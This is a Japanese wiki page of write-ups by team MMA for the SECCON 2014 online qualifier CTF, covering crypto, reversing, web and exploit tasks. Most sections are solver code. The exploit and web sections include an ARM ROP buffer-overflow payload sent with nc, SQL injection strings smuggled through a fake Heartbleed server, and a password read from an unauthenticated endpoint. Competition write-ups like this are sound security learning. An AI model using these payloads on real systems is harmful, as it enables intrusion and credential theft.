ログイン
編集不可のページディスカッション情報添付ファイル
"CTF/Writeup/SECCON 2014 Quals Online Winter"の差分

MMA
13と14のリビジョン間の差分
2014-12-07 20:01:46時点のリビジョン13
サイズ: 725
編集者: nomeaning
コメント:
2014-12-07 20:07:15時点のリビジョン14
サイズ: 758
編集者: nomeaning
コメント:
削除された箇所はこのように表示されます。 追加された箇所はこのように表示されます。
行 33: 行 33:
<<Include(/Choose the Number)>>

Writeups for SECCON 2014 オンライン予選(英語)

SECCON 2014 Quals Online WinterにチームMMAとして参加した。最終順位は11位であった。

Welcome to SECCON (Start 100pts)

1. まず問題のページを開きます。

2. 問題文には次のように書いてあるので、目grep力を駆使して、答えを探します。

問題

The answer is "SECCON{20141206}".

問題(和訳)

答えは、「SECCON{20141206}」です。

結果:

SECCON{20141206}

Easy Cipher (Crypto 100pts)

2進数、8進数、10進数、16進数で記述された数字の列が渡される。判定は次のようにした。

  • 0から始まる文字列なら8進数
  • [01]のみを含み5文字以上なら2進数
  • [0-9]のみを含むなら10進数
  • それ以外なら16進数

後は出来た数値の列を文字として表示すれば解が得られる。

irb> a =  %W(87 101 108 1100011 0157 6d 0145 040 116 0157 100000 0164 104 1100101 32 0123 69 67 0103 1001111 1001110 040 062 060 49 064 100000 0157 110 6c 0151 1101110 101 040 0103 1010100 70 101110 0124 1101000 101 100000 1010011 1000101 67 0103 4f 4e 100000 105 1110011 040 116 1101000 0145 040 1100010 0151 103 103 0145 1110011 0164 100000 1101000 0141 99 6b 1100101 0162 32 0143 111 1101110 1110100 101 0163 0164 040 0151 0156 040 74 0141 1110000 1100001 0156 056 4f 0157 0160 115 44 040 0171 1101111 117 100000 1110111 0141 0156 1110100 32 0164 6f 32 6b 1101110 1101111 1110111 100000 0164 1101000 0145 040 0146 6c 97 1100111 2c 100000 0144 111 110 100111 116 100000 1111001 6f 117 63 0110 1100101 0162 0145 100000 1111001 111 117 100000 97 114 0145 46 1010011 0105 0103 67 79 1001110 123 87 110011 110001 67 110000 1001101 32 55 060 100000 110111 0110 110011 32 53 51 0103 0103 060 0116 040 5a 0117 73 0101 7d 1001000 0141 1110110 1100101 100000 102 0165 0156 33 )
irb> a.map{|a|a.start_with?('0') ? a.to_i(8) : (/^[0-1]+$/ =~ a && a.size >= 5? a.to_i(2) : (/^\d+$/=~a ? a.to_i(10) : a.to_i(16)))}.map(&:chr).join
=> "Welcome to the SECCON 2014 online CTF.The SECCON is the biggest hacker contest in Japan.Oops, you want to know the flag, don't you?Here you are.SECCON{W31C0M 70 7H3 53CC0N ZOIA}Have fun!"

Decrypt it (Easy) (Crypto 200pts)

バイナリを読んだ結果,概ね次のような動作をすることがわかった。

   1 srand(time(NULL));
   2 while (!feof(rfp)) {
   3   fread(buf, 1, 1, rfp);
   4   buf[0] = buf[0] ^ (rand() % 256);
   5   fwrite(buf, 1, 1, wfp);
   6 }

ファイルの最終更新日時を中心に時刻の探索を行った。

   1 #include <stdlib.h>
   2 #include <stdio.h>
   3 char buf[10];
   4 int main() {
   5   FILE *fp  = fopen("ecrypt1.bin","r");
   6   fread(buf, 8, 1, fp);
   7   int i,j,cnt=0;
   8   for(i = 1416606360+100000; i > 1416606360-1000000; i--) {
   9     srand(i);
  10     char enc[10];
  11     for(j = 0; j < 8; j++) {
  12       enc[j] = buf[j] ^ (rand() % 256);
  13     }
  14         if (enc[0] == (char)0x89 &&
  15                 enc[1] == (char)0x50 &&
  16                 enc[2] == (char)0x4E &&
  17                 enc[3] == (char)0x47 &&
  18                 enc[4] == (char)0x0D &&
  19                 enc[5] == (char)0x0A &&
  20                 enc[6] == (char)0x1A &&
  21                 enc[7] == (char)0x0A) {
  22                 printf("%d\n", i);
  23         }
  24   }
  25 }

結果,時刻は1416667590であることが判明したので復号を行ったところ次の画像が得られた。

crypt1.png

これはRabin暗号である。nを素因数分解して秘密鍵を得て復号を行う。

   1 require_relative 'math'
   2 nn = [0xb8ae199365, 0xb86e78c811, 0x7bd4071e55]
   3 bb = [0xffeee, 0xfffee, 0xfefef]
   4 cc = [0x8d5051562b, 0x5ffa0ac1a2, 0x6008ddf867]
   5 for i in 0..2
   6   n = nn[i]
   7   b = bb[i]
   8   c = cc[i]
   9 
  10   p, q= Math::prime_factorization2(n).map{|a|a[0]}
  11   puts [p,q].map{|a|a%4}
  12 
  13   for xx in 1..p
  14     if (xx * xx + b * xx - c)% p == 0
  15       p (['!',xx])
  16       x_p = xx
  17     end
  18   end
  19   for xx in 1..p
  20     if (xx * xx + b * xx - c)% q == 0
  21       p (['!',xx])
  22       x_q = xx
  23     end
  24   end
  25 
  26   puts ['%x' % (Math::chinese_remainder(p, q, x_p, x_q))].pack('H*')
  27   puts ['%x' % Math::chinese_remainder(p, q, p - b -  x_p, x_q)].pack('H*')
  28   puts ['%x' % Math::chinese_remainder(p, q, p - b -  x_p, q - b-x_q)].pack('H*')
  29   puts ['%x' % Math::chinese_remainder(p, q, x_p, q - b-x_q)].pack('H*')
  30 end

暗号文に対して平文は4種類対応するため,その中から意味のあるものを採用する。

こうしてフラグが得られた。

SECCON{Ra_b1_N}

なお,WikipediaのRabin暗号のページに書かれていた式はコンテスト時点では間違っており, 平方根を求めるために\((p+1)/4\)乗すべきところが\((p-1)/2\)乗になっていた。 これでは二乗すると1になってしまう。 これに騙されたチームも多かったのではないだろうか。

<del>Pari/GP芸</del>Pari/GPによる実装例

具体的な数字は最後のブロックだけ

n=531838213717
b=1044463
c=412465625191

p=factor(n)[1,1]
q=n/p
xp = sqrt(c+Mod(b,p)*b/4)-Mod(b,p)/2
xq = sqrt(c+Mod(b,q)*b/4)-Mod(b,q)/2 
x1 = chinese(xp, xq)
x2 = chinese(-xp-b, xq)
x3 = chinese(xp, -xq-b)
x4 = chinese(-xp-b, -xq-b)

? x1 = chinese(xp, xq)
%8 = Mod(421735124605, 531838213717)
? x2 = chinese(-xp-b, xq)
%9 = Mod(368810693940, 531838213717)
? x3 = chinese(xp, -xq-b)
%10 = Mod(163026475314, 531838213717)
? x4 = chinese(-xp-b, -xq-b)
%11 = Mod(110102044649, 531838213717)

Ms.Fortune? Misfortune. : 4096-bit RSA (Crypto 400pts)

与えられたファイルを展開してみて中身を調べてみた。

  • key.pub.gpg

    • GPGでのRSA暗号化に用いる公開鍵
  • encrypted.gpg

    • GPGによってRSAで暗号化されたデータ
  • key.gpg.masked

    • GPGのRSAの秘密鍵のテンプレート
  • recover.py

    • p, qを入力するとRSA秘密鍵を生成するプログラム

pgpdumpをインストールし、gpgの公開鍵の内容を見てみた。

$ pgpdump key.pup.gpg
Old: Secret Key Packet(tag 5)(1816 bytes)
(中略)
Old: User ID Packet(tag 13)(31 bytes)
        User ID - SECCON ____Key <____key@seccon>
Old: Signature Packet(tag 2)(555 bytes)
        Ver 4 - new
        Sig type - Positive certification of a User ID and Public Key packet(0x13).
        Pub alg - RSA Encrypt or Sign(pub 1)
        Hash alg - SHA1(hash 2)
        Hashed Sub: signature creation time(sub 2)(4 bytes)
                Time - Fri Jan  2 09:00:00 JST 1970
        Hashed Sub: key flags(sub 27)(1 bytes)
                Flag - This key may be used to certify other keys
                Flag - This key may be used to sign data
(中略)
Old: Secret Subkey Packet(tag 7)(1816 bytes)
(中略)
Old: Signature Packet(tag 2)(543 bytes)
        Ver 4 - new
        Sig type - Subkey Binding Signature(0x18).
        Pub alg - RSA Encrypt or Sign(pub 1)
        Hash alg - SHA1(hash 2)
        Hashed Sub: signature creation time(sub 2)(4 bytes)
                Time - Fri Jan  2 09:00:00 JST 1970
        Hashed Sub: key flags(sub 27)(1 bytes)
                Flag - This key may be used to encrypt communications
                Flag - This key may be used to encrypt storage
(省略)

Flagの内容からSecret Subkey Packetが暗号化に用いる鍵だと分かるらしい。(ytokuさんに教えてもらった)

pgpdumpの引数として-iを渡すとnの具体的な値が取れる。 このnについて、各種素因数分解アルゴリズムを適用した所、Fermat法によって素因数分解に成功した。

   1 require 'gmp'
   2 n = GMP::Z(ARGV[0].to_i)
   3 x = n.sqrt + 1
   4 y = (x * x - n).sqrt
   5 while true
   6   w = x * x - n - y * y
   7   break if w == 0
   8   if w > 0
   9     y += 1
  10   else
  11     x += 1
  12   end
  13 end
  14 p [x+y,x-y,n]

$ ruby fermat.rb (cat n)
32158763574926282399690427421751598974822750157866002942864427634852437380540017586451493854661729909380518733649186624385206737336324813109500237603304026009112696565510846849987937423619262973393969175056759821652138869783215378169757835283584660846583208812725733839059137580944002686113912792569631796916069732431775599320458346937859589815497525828622622652165709271152246464728489927670696601016248559515951932154686633599100945314921834227324381958751184684979824241375253606863601895383658582486045363570755445629865194046700806542078378801136397577730247660070033517187439537339428288763342861366560261446073, 32158763574926282399690427421751598974822750157866002942864427634852437380540017586451493854661729909380518733649186624385206737336324813109500237603304026009112696565510846849987937423619262973393969175056759821652138869783215378169757835283584660846583208812725733839059137580944002686113912792569631796916069732431775599320458346937859589815497525828622622652165709271152246464728489927670696601016248559515951932154686633599100945314921834227324381958751184684979824241375253606863601895383658582486045363570755445629865194046700806542078378801136397577730247660070033517187439537339428288763342861366560261414507, 1034186074668005446865661651578208369514158803552244005581133348807218259696136975186768057532805396894757503164834709575083359161158060701923008831149233177215596305395749862300700772298386522636562203611668211601359078939366452933448401372783149865070405032946502692195960337152490393257718681775969357953766124434670452760182942622011519373645653657784274264774773270847089540432369489508909290697992927057404389218509541644042197448296417276686963995927414541514778710278820030649227976349765070908207584414253880096569270321293357683127769728901749940165024782079154839570419235490028108256539125090626571373643257455521820767805808214404175900736109428513289545954241551995058498737472560704736894014465695117165251699935296644992760434412206519036326801985540077086806228464411438175416317958133959586691011057808141234300883692932436022122663781160823472736298914304029803683697389880156222528045623045436226522780569221934366978973936408257173404970887883159180079205465195884955186605310665826226975454171035075016280417683011623124380312403051425940705920625660567584606796218038626946234225864706878239646554381165540673005572649955471689205027195933802181344480474070023069194083134722979170599617466579222550596280381011]

recover.pyに引数として素因数分解の結果を渡して、秘密鍵key.gpgを作成し、encrypt.gpgを解読した。

$ python recover.py 32158763574926282399690427421751598974822750157866002942864427634852437380540017586451493854661729909380518733649186624385206737336324813109500237603304026009112696565510846849987937423619262973393969175056759821652138869783215378169757835283584660846583208812725733839059137580944002686113912792569631796916069732431775599320458346937859589815497525828622622652165709271152246464728489927670696601016248559515951932154686633599100945314921834227324381958751184684979824241375253606863601895383658582486045363570755445629865194046700806542078378801136397577730247660070033517187439537339428288763342861366560261414507 32158763574926282399690427421751598974822750157866002942864427634852437380540017586451493854661729909380518733649186624385206737336324813109500237603304026009112696565510846849987937423619262973393969175056759821652138869783215378169757835283584660846583208812725733839059137580944002686113912792569631796916069732431775599320458346937859589815497525828622622652165709271152246464728489927670696601016248559515951932154686633599100945314921834227324381958751184684979824241375253606863601895383658582486045363570755445629865194046700806542078378801136397577730247660070033517187439537339428288763342861366560261446073

$ gpg --import key.gpg

$ gpg --decrypt encrypted.gpg 
gpg: 4096-ビットRSA鍵, ID 7DAD8D6C, 日付1970-01-02に暗号化されました
      “SECCON ____Key <____key@seccon>”
SECCON{g^2-f^2=(g+f)(g-f)~is~still~important~to~factor~BIG~numbers,.025f0ddfdc463a24bf0350c15b175eee}

Shuffle (Binary 100pts)

逆アセンブルを眺みてみると、0x0804854bから0x080486afにかけて文字列を生成しているのに気づいた。 gdbを用いて表示してみた。

$ gdb ./shuffle
(略)
(gdb) b *0x80486af
Breakpoint 1 at 0x80486af
(gdb) r
Starting program: ...

Breakpoint 1, 0x080486af in main ()
(gdb) x/s $esp + 0x24
0xffffd0e4:     "SECCON{Welcome to the SECCON 2014 CTF!}\b"
(gdb)

Reverse it (Binary 100pts)

バイナリを眺めてみるとどうにも0effとか9dffとか8dffとかが目に付きJPEGを反転させたものっぽいなと感じた。

$ xxd Reverseit 
0000000: 9dff 700d b6da fc93 7263 2822 22bd d218  ..p.....rc(""...
(中略)
0001e00: 8400 8400 1010 1000 6494 64a4 0100 0eff  ........d.d.....
0001e10: 8dff

16進数文字列として反転させてみたら、JPEG画像で間違いなかった。 ただし、画像も反転されていたのでconvertコマンドで修正した。

$ ruby -e'File.binwrite("Reversed", File.binread("Reverseit").unpack("H*").map(&:reverse).pack("H*"))'

$ convert -flop Reversed flag.jpg

生成されたflag.jpgにフラグは記述されていた。

Let's disassemble (Reverse 200pts)

降ってくるバイナリ列は長さが可変なので、可変長の命令を持つCPUであることが分かる。 ytokuさんがいろいろ頑張ってz80だと特定したので、z80の逆アセンブラを探して、 結果を送信するプログラムを作成した。

   1 require_relative 'ctf'
   2 TCPSocket.open('disassemble.quals.seccon.jp', 23168) do |s|
   3   s.echo = true
   4   for i in 0...100
   5     File.binwrite('tmp.bin', s.read_until(/\?/)[0..-2].split(/:/)[1].split.map{|a|a.to_i(16)}.pack("C*"))
   6     c2 = `z80dasm tmp.bin`.lines[5].chomp
   7     unless c2.include?('def')
   8       s.print c2
   9     else
  10       system "dz80 -n tmp > /dev/null"
  11       s.print File.read('tmp.z80').lines[6].strip.split.join(' ') + "\n"
  12     end
  13     s.flush
  14   end
  15   s.interactive!
  16 end

aptに含まれていた、z80dasmdz80という逆アセンブラを用いたのだが、dz80は割と良く、z80dasmはたまに逆アセンブルに失敗することが分かった。 なので、z80dasmが失敗した時のみdz80を使うようにしたら、フラグを得ることが出来た。

$ ruby solve.rb
(中略)
The flag is SECCON{I love Z80. How about you?}

Advanced RISC Machine (Exploit 300pts)

ARMのバイナリが与えられるので読んで解析した。解析結果

0x4254にある関数は1行データを読み出すのだが、バッファーの大きさを考慮しない。 そのため、バッファーオーバーフローを用いてスタックの状態を任意に書き変えることが出来る。

この問題では、スタックが実行可能じゃないため、関数の戻り先を実行したい命令 + "pop {pc}"にして好きな命令を実行していく。戻り先としては次のものを利用した。

  • 0x4270
    • r1の先にある文字列を表示し、その文字数をr0に代入する。
  • 0x42b0
    • {r1,r2,r3,r4,r5,r6,fp}に任意の内容を代入する。
  • 0x41bc
    • r0の内容を出力する。
  • 0x404c
    • システムコールを実行する。

これらを組み合わせて、syscall(5(OPEN), "flag.txt"), read(fd, buf, 40), print(buf)を行うようなexploitを作成した。

   1 def print2(offset, start = false) 
   2   res = []
   3   unless start
   4     res = [0x42b0]
   5   end
   6   res + [offset, 0, 0, 0, 0, 0, 0, 0x4270]
   7 end
   8 
   9 def setr0(number)
  10   [0x42b0,'str0.'+(24-number).to_s, 0, 0, 0, 0, 0, 0, 0x4270]
  11 end
  12 
  13 def syscall(r1, r2, r3, r4, r5, r6, fp) 
  14   [0x42b0, r1, r2, r3, r4, r5, r6, fp, 0x404c]
  15 end
  16 
  17 def putchar()
  18   [0x41bc]
  19 end
  20 
  21 def read_without_r0(r1,r2,r3,r4,r5,r6,fp) 
  22   [0x42b0, r1, r2, r3, r4, r5, r6, fp, 0x4034]
  23 end
  24 
  25 # attack
  26 stack = setr0(5) + 
  27   syscall('str1', 0, 0, 0, 0, 0, 0) + 
  28   read_without_r0('str4', 40, 0, 0, 0, 0, 0) + 
  29   print2('str4')
  30 
  31 stack = stack[1..-1]
  32 strs = ['_' * 24 + "\0" * 4, "flag.txt\0\0\0\0", "aaa\0\0\0\0\0", 'END!!!', 'hogefugahofegua']
  33 
  34 pos = 0x1fffefd8 + stack.size * 4
  35 strs.each.with_index do |a,i|
  36   stack.map!{|a|
  37     if a == 'str' + (i).to_s
  38       pos
  39     elsif a.is_a?(String) && a.start_with?('str' + (i).to_s + '.')
  40       l = ('str'+i.to_s+'.').size
  41       pos + a[l..-1].to_i
  42     else
  43       a
  44     end
  45   }
  46   pos += a.size
  47 end
  48 print stack.pack("I*") + strs*''
  49 print "\n"

$ ruby exploit.rb | nc micro.pwn.seccon.jp 10001
Input password: _____SECCON{TeaBreakAtWork}

jspuzzle (Web 100pts)

次のように空欄に番号を付ける。

({<1> :function(){ 
  this[<2> ] = (new Function( <3> + <4> + <5> ))(); 
  var pattern = <6>; 
  var r = new RegExp( pattern ); 
  this[ r[ <7> ]( pattern ) ][ <8> ]( 1 ); 
}})[ <9>[ <10> ]() ]();

次のような順序で考えた。

  1. <1><9>[<10>]()は等しくないと中の関数は呼び出されない。このような組み合わせは<1>:"function", <9>:"Function", <10>:"toLowerCase" しかないので、この3つは確定する。

  2. r[<7>](pattern)]<2>と等しいと嬉しい。regexpに対する関数呼び出しなので<7>はおそらくexec。この時、<6>が通常の文字列だとr.exec(pattern)が配列になってしまう。そのため、<6>は自分自身にマッチしない‘"^[\w]$"‘となる。

  3. この時、r[”exec"](pattern)]はnullになるため、<2>"null"で確定する。

  4. <3> <4> <5>について、何かを返却するので、<3>"return"で確定。その後に空白が必要なので、<4>"/*^_^*/"になる。

  5. <8>でalertが呼び出されるようにするために、<5>"this"にして、<8>"alert"にする。これによって最終的に、this.alert(1)となる。

REA-JUU WATCH (Web 200pts)

リア充度を測定するサイトを攻撃する問題であった。

問題を解き終わると点数を表示するページがある( http://reajuu.pwn.seccon.jp/quiz/7 )が, このページは点数を取得する際に http://reajuu.pwn.seccon.jp/users/chk/<ユーザ番号> から取得している。 ここが認証を要求しないないため, 他のユーザのIDとパスワードが取れる。1番のユーザの情報を取得した。

{"username":"rea-juu","password":"way_t0_f1ag","point":99999}

ログインして問題を解き終わった時のURLにアクセスしたところ,点数99999点と共にフラグが表示された。

SECCON{REA_JUU_Ji8A_NYAN}

Bleeding "Heartbleed" Test Web (Web 300pts)

任意のサイトにheartbleedの脆弱性の有無を行えるサイトが与えられる。

メッセージの特徴から、https://gist.github.com/sh1n0b1/10100394 のスクリプトを利用してチェックをしていることが分かる。 また、HTMLのコメントからDBに結果を追加していることが分かる。

そこで、チェックのスクリプトからHeartbleed脆弱性がありと判断されるようなサーバーを作り、送信する文字列でSQLインジェクションを行なった。

   1 require 'socket'
   2 Thread.new do 
   3   TCPServer.open '0.0.0.0', '8080' do |socket|
   4     s = socket.accept
   5     s.print [22,0,2].pack('Cnn')+ "\x0E\x0E"
   6     s.flush
   7     s.print [24,0,ARGV[0].size].pack('Cnn')+ ARGV[0]
   8     s.flush
   9   end
  10 end
  11 sleep 0.5
  12 system "curl 'http://bleeding.pwn.seccon.jp/?ip=133.242.155.176&port=8080'"

$ ruby heartbleed.rb "' union select sql from sqlite_master limit 1 offset 1; -- "
...
<!-- DEBUG: INSERT OK. TIME=CREATE TABLE ssFLGss ( flag ) -->
...

$ ruby heartbleed.rb "' union select flag from ssFlGss; -- "
...
<!-- DEBUG: INSERT OK. TIME=SECCON{IknewIt!SQLiteAgain!!!} -->
...

SECCON Wars: THE Flag Awakens (QR 300pts)

動画の55秒目から画面下部でQRコードが流れる。
動画を何らかの方法でダウンロードし、50秒目からffmpegでフレーム画像を取り出す。

$ ffmpeg -i video.mp4 -ss 50 -f image2 dir/%d.png

画像の最下部を切り出し、並べる。

   1 require 'RMagick'
   2 
   3 filenames = `ls ./swars | sort -n`.split("\n")
   4 
   5 imglist = Magick::ImageList.new
   6 
   7 filenames.each{|fn|
   8 src = Magick::Image.read("./swars/" + fn).first
   9 imglist << src.crop(0,239,320,240)
  10 }
  11 cat = imglist.append(true)
  12 cat.write("newimg.png")

生成された画像

newimg.png

生成された画像からQRコードの部分のみ切り出し、正方形に整形、二値化、白黒反転する。

newimg-e.png

QRコードを読みとる

yomitori.png

結果:

SECCON{M4Y 7H3 F0RC3 83 W17H U}

Get the key.txt (Forensics 100pts)

loopback-mountすると、1というファイルがあったので表示したらフラグを得ることが出来た。

$ zcat 1
SECCON{@]NL7n+-s75FrET]vU=7Z}

CTF/Writeup/SECCON 2014 Quals Online Winter (最終更新日時 2014-12-11 22:24:43 更新者 ytoku)